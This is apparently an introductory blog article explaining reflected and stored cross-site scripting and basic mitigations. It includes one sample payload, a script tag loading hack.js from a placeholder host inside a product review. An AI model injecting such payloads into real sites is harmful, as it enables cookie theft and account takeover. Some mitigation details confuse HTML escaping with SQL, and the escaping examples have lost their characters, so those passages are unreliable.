XSS can steal your cookies
Cross-site scripting (XSS) remains one of the most common vulnerabilities in web applications. XSS is a security vulnerability allowing attackers to inject malicious code into weak user inputs. Once compromised, attackers can steal authenticated users’ cookies and take over the victim’s account. Any websites that accept user entries are potentially at risk for XSS attacks. Fortunately, a simple fix can prevent XSS attacks in many cases.
What is Cross-site scripting (XSS)?
Reflected XSS and Stored XSS
There are two types of cross-site scripting attacks, Stored XSS and Reflected XSS.
Reflected cross-site scripting is sort of like a booby trap. The attackers set up a trap using insecure user inputs, inserting a malicious link, and wait for the victims. When a victim clicks on the link, the malicious script gets executed and reflects off the victim’s browser. Reflected XSS typically involves a two-step process. First, the attacker finds a website with insecure user entry inputs — such as a comment or review — and leaves a comment with a malicious link. Second, when other users click on the URL, the malicious code gets executed on the victim’s browser, captures users’ cookies, and sends them back to the attacker.
Stored cross-site scripting also relies on insecure user inputs, but unlike reflected XSS, the attacker installs malicious code on the victim’s website. It is more harmful as it affects anyone who visits the otherwise legitimate website. The attack is effective and persistent as the malicious code is stored in the database.
The arbitrary code gets executed while the victim simply views the affected page. Successful stored XSS attacks can also lead to session hijacking. In some cases, it can be used to redirect the victims to the attacker-controlled website and carry out further attacks.
I highly recommend this product “<script src=”http://example.com/hack.js”> </script>”
In the above example, the arbitrary code is embedded within a seemingly innocent message. The code will be stored in the database if a user entry lacks proper validation.
What is the difference between reflected XSS and stored XSS?
The main difference between reflected XSS and stored XSS is that reflected XSS requires user interactions. Reflected XSS is successful only if a user clicks on the link and consequently executes the code. On the other hand, stored XSS can continue with the attack without user interactions. This makes stored XSS more dangerous and can cause more harm to the victims.
Preventing cross-site scripting
Zero trust is the key for mitigating XSS attacks. All user entries must be cleaned before they can be processed and stored in the database. Escaping, filtering, sanitizing, or encoding are four main methods to ensure the user data is safe.
- Escaping refers to converting programming-specific characters into HTML Entities. For instance, when an application escapes user data properly, the
&symbol is converted into
&which is not executable by SQL language.
- Filtering simply removes harmful characters from the user-supplied data.
- Sanitizing cleans user data by escaping and filtering to prevent harmful code from entering the database.
- Encoding is similar to escaping. For example, PHP, a common programming language correlated with SQL database, has a built-in function to encode harmful characters — including special characters such as
=into HTML entities.